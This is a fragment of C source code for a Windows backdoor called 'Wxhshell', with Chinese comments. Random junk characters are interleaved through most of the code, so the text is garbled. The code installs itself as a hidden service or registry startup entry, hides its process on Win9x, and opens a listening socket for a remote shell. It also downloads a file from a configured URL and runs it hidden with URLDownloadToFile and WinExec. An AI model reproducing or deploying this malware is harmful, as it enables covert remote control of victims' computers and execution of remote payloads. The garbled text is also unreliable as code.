dEC % HMODULE hMod; &C}*w2]0S char procName[255]; =_CzH(=f# unsigned long cbNeeded; "oyo#-5z wwqEl( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wtnfa{gP% 81F9uM0 CloseHandle(hProcess); vM={V$D& pa+hL,w{6 if(strstr(procName,"services")) return 1; // 以服务启动 :OT& pglVR </ return 0; // 注册表启动 E.h*g8bXe } 0GwR~Z}Z 6tZI["\ // 主模块 CIWO7bS int StartWxhshell(LPSTR lpCmdLine) !
nx{
X { 0GL M(JmK SOCKET wsl; Gv&V|7-f0 BOOL val=TRUE; Eci\a] int port=0; P55fL-vo|} struct sockaddr_in door; }>\C{ClI kh<2BOV if(wscfg.ws_autoins) Install(); ctQ/wrkU :FF=a3/"6 port=atoi(lpCmdLine); &{:-]g\ gXU8hTd8 if(port<=0) port=wscfg.ws_port; u8^lB7!e/
7GGUV WSADATA data; (Ld i|jL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BT$_@%ea& )J |6 -C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; TeQV?ZQ#} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rv;3~'V door.sin_family = AF_INET; :RYTL'hes door.sin_addr.s_addr = inet_addr("127.0.0.1"); P?<y%c< door.sin_port = htons(port); 7<4qQ.deE XW/o<[91 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { crCJrN= closesocket(wsl); \8tsDG(1 ' return 1; H,J8M{ } l;U?Z'n )oZ dj` if(listen(wsl,2) == INVALID_SOCKET) { "@kaHIf[ closesocket(wsl); $G>. \t return 1; ]:;&1h3'7 } }H4RR}g Wxhshell(wsl); 'w/hw'F6 WSACleanup(); ]9-\~Mwh 2oW"'43X return 0; XW9!p.*.U ,4rPg]r@ } }Jw,>} ]n~V!hl?A // 以NT服务方式启动 a*;b^Ze`v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yZ:qU({KhD { iso4]>LF DWORD status = 0; @HW*09TG DWORD specificError = 0xfffffff; Efe 7gE' & kIFcd@ serviceStatus.dwServiceType = SERVICE_WIN32; :&Nbw serviceStatus.dwCurrentState = SERVICE_START_PENDING; p_ =z# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AW .F3hN) serviceStatus.dwWin32ExitCode = 0; 0:+E-^X serviceStatus.dwServiceSpecificExitCode = 0; DI vHvFss serviceStatus.dwCheckPoint = 0; i4Jc.8^9$ serviceStatus.dwWaitHint = 0; oU|c.mYe 6zkaOA46V hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B!yr!DWv if (hServiceStatusHandle==0) return; 3T
9j@N77 -&f$GUTJ status = GetLastError(); |{;G2G1[ if (status!=NO_ERROR) s{++w5s { :,^gj serviceStatus.dwCurrentState = SERVICE_STOPPED; K,]=6Rj serviceStatus.dwCheckPoint = 0; c,22*.V/ serviceStatus.dwWaitHint = 0; zi:BF60]= serviceStatus.dwWin32ExitCode = status; 0V]s:S serviceStatus.dwServiceSpecificExitCode = specificError; l%ZhA=TKQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); J1kM\8%b\ return; IID5c"
oR } )Z$!PqRw@u 67TwPvh serviceStatus.dwCurrentState = SERVICE_RUNNING; BVm0{*-[| serviceStatus.dwCheckPoint = 0; DlT{` serviceStatus.dwWaitHint = 0; Mtv?:q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hph4 `{T } %\DX#. GfG|&VNlz // 处理NT服务事件,比如:启动、停止 'S~5"6r VOID WINAPI NTServiceHandler(DWORD fdwControl) ~
1 pr~ { S'14hk< switch(fdwControl) Qd6F H2Pl { edV\-H5< case SERVICE_CONTROL_STOP: +V+a4lU14 serviceStatus.dwWin32ExitCode = 0; /=h` L, serviceStatus.dwCurrentState = SERVICE_STOPPED; zQA`/&=Y serviceStatus.dwCheckPoint = 0; H"KCK6 serviceStatus.dwWaitHint = 0;
5IN(|B0 { &zs$x?/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); iLz@5Zj8 } 23?rEhKe return; :]c3|J case SERVICE_CONTROL_PAUSE: h~26WLf. serviceStatus.dwCurrentState = SERVICE_PAUSED; :EH=_" break; /bEAK- case SERVICE_CONTROL_CONTINUE: G:JR7N$ serviceStatus.dwCurrentState = SERVICE_RUNNING; k8Xm n6X break; C?Ucu]cW case SERVICE_CONTROL_INTERROGATE: :LTN!jj break; nm+s{ }; YP9^Bp{0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9cgUT@a } zJXplvaL;
C>~TI,5a3 // 标准应用程序主函数 /> Nt[o[r int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uMv1O{ { *kVV+H<X|b b\ PgVBf9 // 获取操作系统版本 @KA4N` OsIsNt=GetOsVer(); V:27)]q GetModuleFileName(NULL,ExeFile,MAX_PATH); dd["dBIZ ' 2Hdu:"j // 从命令行安装 ]d`VT)~vje if(strpbrk(lpCmdLine,"iI")) Install(); fatf*}eln >MK98(F // 下载执行文件 e%6QTg5# if(wscfg.ws_downexe) { &?vgP!d&M if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i&k7-< WinExec(wscfg.ws_filenam,SW_HIDE); 6Iw\c } TKjFp% cFv8 Od if(!OsIsNt) { |M_UQQAB| // 如果时win9x,隐藏进程并且设置为注册表启动 8D].MI^ HideProc(); 8] ikygt" StartWxhshell(lpCmdLine); J=L5=G7( } '!$%> ||S else H:G1BZjq if(StartFromService()) ;wVwX6:ZKr // 以服务方式启动 or]IZ2^n StartServiceCtrlDispatcher(DispatchTable); SzRmF1< else ? q&T$8zc4 // 普通方式启动 Gy)@Is9 StartWxhshell(lpCmdLine); '2O\_Uz p8Q1-T3v return 0; aoTP[Bp }
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